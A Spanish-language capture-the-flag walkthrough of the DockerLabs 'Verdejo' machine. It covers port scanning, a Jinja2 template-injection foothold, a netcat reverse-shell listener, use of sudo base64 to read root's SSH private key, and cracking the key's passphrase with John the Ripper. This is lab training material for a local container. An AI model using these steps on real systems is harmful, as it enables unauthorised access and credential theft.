miguel@home:~$

Verdejo - DockerLabs

OS Dificultad Creator
Linux Fácil The Hackers Labs

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)
  • 8089 (Que servicio es) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80,8089 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

En el puerto 80, encontramos la página por defecto de Apache sin ninguna información aparente. Procedemos a un escaneo de directorios con Gobuster para buscar rutas ocultas en el sitio web:

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

No encontramos nada en el puerto 80. Al acceder al puerto 8089, descubrimos un panel que permite ejecutar entradas del usuario:

image

El servicio en el puerto 8089 parece vulnerable a SSTI (Server-Side Template Injection), una vulnerabilidad en la cual el motor de plantillas interpreta los datos del usuario de forma insegura, permitiendo la ejecución de comandos. Comprobamos esta vulnerabilidad con la ayuda de HacTricks

image

Confirmamos que el servicio está usando el motor de plantillas Jinja2 al ejecutar el siguiente payload:

image


ReverseShell

Generamos una reverse shell usando el siguiente comando:


Simultáneamente, escuchamos en nuestro sistema con netcat:

nc -lvnp 4444 

Intrusion

Conseguimos acceso al sistema como el usuario verde.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de privilegios

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar base64 como root.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Dado que el puerto 22 (SSH) está abierto, intentamos leer el archivo id_rsa de root:

LFILE=/root/.ssh/id_rsa 
sudo -u root /usr/bin/base64 "$LFILE" | base64 --decode

image

Transferimos el archivo a nuestro equipo y tratamos de conectarnos por SSH, pero se nos solicita una contraseña.

image

Fuerza Bruta de la Passphrase

Vamos a hacer fuerza bruta a ver si esta la contraseña, para ello haremos lo siguiente:

Convertimos el archivo id_rsa a hash:

ssh2john id_rsa > hash

Crackeamos el hash con John the Ripper usando el diccionario rockyou.txt

sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt

Obtenemos la contraseña honda1.

image

Ahora podemos acceder como root vía SSH:

image

Finalmente, tenemos acceso root.